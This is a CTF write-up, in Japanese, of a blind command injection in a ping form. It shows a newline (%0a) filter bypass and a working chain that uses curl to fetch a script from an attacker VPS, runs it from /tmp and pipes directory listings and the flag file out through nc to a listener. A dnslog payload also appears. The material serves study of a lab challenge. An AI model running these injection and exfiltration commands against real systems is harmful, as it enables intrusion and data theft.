友達が CTF の問題を送ってきた。ウェブサイトを開くと、以下の図のように、一目でコマンド実行の脆弱性が見える。
パケットキャプチャテストはエコーがなく、コマンド実行が成功したことが表示される。
リクエストは以下の通り:
POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
ip=127.0.0.1
テストでフィルタリングされる文字を確認したところ、以下の文字がフィルタリングされており、DNS ログを使った方法がブロックされていた。
;`$
DNS ログを使った方法は通常、山括弧を利用してコマンドを実行する。例えば、
`whoami`.xxx.dnslog.cn
テストで % がフィルタリングされていないことがわかり、%0a(改行文字)を使ってコマンド実行をバイパスできることがわかった。
- VPS サーバーを準備し、VPS 上に 1.sh というスクリプトを新規作成し、スクリプト内容は以下の通り。
ls / | nc vpsアドレス 1234
- VPS 上で nc を使ってリクエストをリッスンし、新しいウィンドウで Python サーバーを起動して、ターゲットマシンが 1.sh スクリプトをダウンロードできるようにする。
nc -lvnp 1234
python3 -m http.server 80
- ターゲットマシンで以下のコマンドを実行する。
ip=127.0.0.1%0acurl vpsアドレス/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh
リクエストは以下の通り:
POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
ip=127.0.0.1%0acurl vpsアドレス/1.sh > /tmp/4.sh
結果は以下の通り、リクエストを返すことができる。
したがって、flag を確認するには 1.sh のスクリプト内容を以下のように変更するだけでよい。
cat /FLAG | nc vpsアドレス 1234
再度実行して flag を取得する。
ip=127.0.0.1%0acurl vpsアドレス/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh
flag の形式から n1book の問題がわかる。